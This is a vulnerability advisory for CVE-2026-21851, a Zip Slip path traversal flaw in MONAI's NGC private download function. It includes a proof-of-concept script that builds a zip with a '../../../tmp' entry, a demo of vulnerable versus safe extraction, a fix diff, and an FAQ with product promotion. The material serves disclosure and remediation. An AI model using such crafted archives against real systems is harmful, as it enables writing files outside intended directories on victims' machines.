CVE-2026-21851

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)
            
            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue
            
            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Conditions Required for Exploitation

1. Attacker must control or compromise an NGC private repository
2. Victim must configure MONAI to download from that repository
3. Victim must use source="ngc_private" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:

• The permissions of the user running MONAI
• The target location of the escaped files
• Python version (newer versions have some built-in path normalization)

Mitigating Factors

• Requires attacker to control an NGC private repository
• Modern Python versions (3.12+) have some built-in path normalization
• The ngc_private source is less commonly used than other sources

Resources

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• Snyk: Zip Slip Vulnerability
• Python zipfile.extractall() Warning

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-21851 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.2); upgrading removes the vulnerable code path.

Kodem intelligence

Replace the direct extractall() call with MONAI's existing safe extraction:

# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...
    
    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.

1. What is CVE-2026-21851? CVE-2026-21851 is a medium-severity path traversal vulnerability in monai (pip), affecting versions <= 1.5.1. It is fixed in 1.5.2. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-21851? CVE-2026-21851 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of monai are affected by CVE-2026-21851? monai (pip) versions <= 1.5.1 is affected.
4. Is there a fix for CVE-2026-21851? Yes. CVE-2026-21851 is fixed in 1.5.2. Upgrade to this version or later.
5. Is CVE-2026-21851 exploitable, and should I be worried? Whether CVE-2026-21851 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-21851 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-21851? Upgrade monai to 1.5.2 or later.